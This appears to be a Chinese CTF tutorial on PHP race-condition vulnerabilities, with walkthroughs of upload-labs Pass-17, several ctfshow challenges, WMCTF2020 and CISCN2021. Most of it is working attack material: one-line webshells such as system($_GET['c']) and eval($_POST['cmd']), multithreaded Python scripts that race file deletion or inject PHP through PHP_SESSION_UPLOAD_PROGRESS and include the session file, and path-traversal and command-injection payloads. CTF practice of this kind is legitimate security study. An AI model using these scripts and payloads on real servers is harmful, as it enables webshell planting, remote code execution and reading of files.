目录
0x00-条件竞争
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
0x01-基础知识
先来了解一下关于条件竞争的基础知识
条件竞争:
系统中,最小的运算调度单位是线程,而每个线程又依附于一个进程,条件竞争则是多进程 或多线程对一个共享资源操作,因为操作顺序不受控的时候所产生的问题。
进程:
进程是为了更好的利用CPU的资源;进程是系统进行资源分配和调度的一个独立单位;每个进程都有自己的独立内存空间,不同进程 通过进程间通信来通信;由于进程比较重要,占据独立的内存,所以上 下文进程间的切换开销(栈、寄存器、虚拟内 存、文件句柄等)比较大,但相对比较稳定安 全。
线程:
线程的是为了降低上下文切换的消耗,提高系 统的并发性,并突破一个进程只能干一样事的 缺陷,使到进程内并发成为可能。 线程是进程的一个实体,是CPU调度和分派的基 本单位,它是比进程更小的能独立运行的基本单 位。线程自己基本上不拥有系统资源,只拥有一点在 运行中必不可少的资源(如程序计数器,一组寄 存器和栈),但是它可与同属一个进程的其他的 线程共享进程所拥有的全部资源。 线程间通信主要通过共享内存,上下文切换很快,资源开销较少,但相比进程不够稳定容易 丢失数据。
Session:
PHP session 变量用于存储关于用户会话(session)的信息,或者更改用户会话(session)的设置。Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。
0x02-漏洞分析
攻击者不断的发起访问请求访问该文件,该文件一旦被执行,就会在服务器上生成一个恶意的shell文件
首先上传一个php文件,然后检测文件后缀名,如果不符合条件,就删掉,虽然php代码在执行的时候是线性执行代码的,但是执行的时候可以有多个线程。
<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1); #后缀
$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
if(!preg_match('/php/i', $ext)){ #判断后缀是否为php
echo 'upload success,file in '.$path;
}else{
unlink($path); #已经上传后判断若是PHP则删除
die("can't upload php file!");
}
}else{
die('upload error');
}
继续上传一个php文件
<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>
在执行完move_uploaded_file之后,执行unlink之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。
如果上传的php的功能是写一句话到一个php文件,这样我们在删除之前访问该文件,就会生成一个一句话木马,就可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。
一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和unlink,以及删除文件的函数进行竞争。文件被访问了依旧可以删除,它删除跟我访问没有任何关系。
0x03-CTF中的条件竞争
upload-libs pass17
源代码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
分析代码:
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行
if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路是利用代码执行过程有耗费时间的过程,上传速度大于匹配unlink条件就能显示webshell界面
方法一:使用brup抓包
使用burpsuite抓包上传shell.php,一直重放上传文件
shell.php内容:
<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>
只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个pass.php,写入一句话木马:<?php phpinfo();?>
然后Send to lntruder,并且进行以下的设置
Payload设置
然后不停访问http://localhost/upload-labs/upload/shell.php
,爆破结束后,访问pass.php,出现phpinfo信息,shell上传成功
方法二:pytho多线程上传
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://localhost/upload-labs/Pass-17/index.php'
files = {'upload_file': (
'shell2.php', "<?php fputs(fopen('pass2.php','w'),'<?php phpinfo();?>');?>")}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
re = requests.get('http://localhost/upload-labs/upload/shell2.php')
if re.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td, range(200))
访问pass2.php,也能看到phpinfo页面
ctfhsow [大牛杯]-web_checkin
看羽师傅的大牛杯wp,发现用到了条件竞争漏洞,照着wp复现一下。
随便传参一个code=1,F12查看源码,注释提示仅允许index.php存在,删除所有其他文件,从这句话里可以猜测含有条件竞争漏洞。
<!-- 仅允许index.php存在,删除所有其他文件 -->
xi nei~
查看所有文件
?code=?><?=`nl%09*`
读取到部分源码
1 <?php ?><?=`nl *`
2 ?>
3 <?php
4 opendir("./");
5 while($filename = readdir()) {
6 if($filename != "." && $filename != ".." && $filename != "index.php") {
7 unlink($filename);
8 }
9 }
10 closedir();
11 ?>
生成文件atkx
?code=`nl%09/*>atkx`
直接使用羽师傅的脚本进行条件竞争,将源码写入atkx中
# -*- coding:utf-8 -*-
#author: yu2xx
import requests
import threading
import sys
session=requests.session()
url1="http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://bdd02bb0-9c48-4203-806f-64219749382b.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/atkx'
def write():
while True:
r = session.get(url1)
def read():
while True:
r = session.get(url2)
if len(r.text)!=9561: #随便get传一次就能得到这个长度
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
然后访问atkx可以读取到源码
想要得到flag的话,直接
?code=?><?=`nl%09/*
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
考查:利用PHP_SESSION_UPLOAD_PROGRESS
进行文件包含
- 前提: 需要知道session文件的存放位置。
- 思路: 利用session.upload_progress将恶意语句写入session文件,从而包含session文件。
session.upload_progress 是PHP5.4的新特征。
php.ini
1.session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。1. session.upload_progress.enabled = on
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
2. session.upload_progress.cleanup = on
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
3. session.upload_progress.prefix = "upload_progress_"
prefix+name将表示为session中的键名
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
5.session.use_strict_mode=off
这个选项默认值为off,表示对Cookie中sessionid可控。
一个上传进度数组的结构的例子
#PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session中存放的数据
<?php
$_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123"
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length post数据长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field 上传区域
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", // 上传文件名
"tmp_name" => "/tmp/phpxxxxxx", // 上传后在服务端的临时文件名
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
在session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下,上传文件,便会在session['upload_progress_123']
中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w
中
Session的默认保存路径
在php.ini里的配置session.save_path是注释掉的,那么Seesion保存的路径在不同类型操作系统保存在什么位置?
Linux:
/tmp/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
Windows:
C:\WINDOWS\Temp
在本地phpstudy中找到session的存储位置
理论具体参考:https://www.yuque.com/u5013914/sn0w/blh341#LbWIR
解题方法1:burpsite条件竞争
本地html向指定网址上传文件
<!DOCTYPE html>
<html>
<body>
<form action="http://f0ea2244-d2b8-43be-8ec6-f61da1585183.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
bp设置,Cookie里设置PHPSESSID=flag
,PHP将会在服务器上创建一个文件:/tmp/sess_flag
,利用session.upload_progress写入恶意语句
GET方式访问?file=/tmp/sess_flag
在默认情况下,session.upload_progress.cleanup
是开启的,一旦读取了所有POST数据,它就会清除进度信息,利用条件竞争应付这种情况
知道目录文件名为flag.php,修改一句话木马为cat flag.php,继续竞争读取flag
解题方法2:python脚本实现竞争
# coding=utf-8
import io
import requests
import threading
url = 'http://352c5d9e-8728-47e3-b3e5-7e8934e06141.node3.buuoj.cn/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('Atkx.txt', f)},
cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_' + sessid,
data=data)
if 'Atkx.txt' in resp.text:
print(resp.text)
event.clear()
else:
print('[*]')
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
读到flag.php
修改一句话木马为cat flag.php,读取flag
ctfhshow [web入门]-web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS和条件竞争进行文件包含。
和上面题一样,直接一把梭
# coding=utf-8
# coding=utf-8
import io
import requests
import threading
url = 'http://4bd1dd58-0b1c-4019-8f55-44ad4dbea031.challenge.ctf.show:8080/'
sessid = 'Atkx'
data = {"cmd": "system('ls');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('Atkx.txt', f)},
cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(url+'?file=/tmp/sess_' + sessid,
data=data)
if 'Atkx.txt' in resp.text:
print(resp.text)
event.clear()
else:
print('[*]')
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
接下来修改代码读取fl0g.php
ctfhshow [web入门]-web149
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
使用bp不断访问并传参,然后开一个去不断访问 1.php
ctf=1.php
show=<?php system('tac /c*');?>
利用脚本实现
import requests
import threading
url = "http://ae3929ad-8f8f-4dc5-88c9-511d15e5625d.chall.ctf.show:8080/"
def write():
while event.isSet():
data = {
'show':'<?php system("ls /");?>'
}
W_reponse = requests.post(url+"?ctf=1.php",data=data)
def read():
while event.isSet():
R_reponse = requests.get(url+"1.php")
if R_reponse.status_code != 404:
print(R_reponse.text)
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
# 通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
# 将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()
for i in range(1, 100):
threading.Thread(target=read).start()
跑脚本,发现了ctfshow_fl0g_here.txt文件
修改为cat /ctfshow_fl0g_here.txt继续跑脚本,即可得到flag
CISCN2021 - middle_source
源码
<?php
highlight_file(__FILE__);
echo "your flag is in some file in /etc ";
$fielf=$_POST["field"];
$cf="/tmp/app_auth/cfile/".$_POST['cf'];
if(file_exists($cf)){
include $cf;
echo $$field;
exit;
}
else{
echo "";
exit;
}
?> your flag is in some file in /etc
访问cf=../../../var/www/html/you_can_seeeeeeee_me.php
,可以看到phpinfo信息
禁用了一大堆函数,可以利用PHP_SESSION_UPLOAD_PROGRESS包含Session文件
可以看到session存储路径是/var/lib/php/sessions/aidbbhcjei
修改后的脚本
import io
import requests
import threading
url='http://192.168.43.86:24081'
sessid = 'atkx'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('Atkx.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../../var/lib/php/sessions/aidbbhcjei/sess_'+sessid
}
resp = session.post(url,data=data)
if 'Atkx' in resp.text:
print(resp.text)
event.clear()
else:
print("[+]")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
修改脚本,目录一层一层往下看就有flag了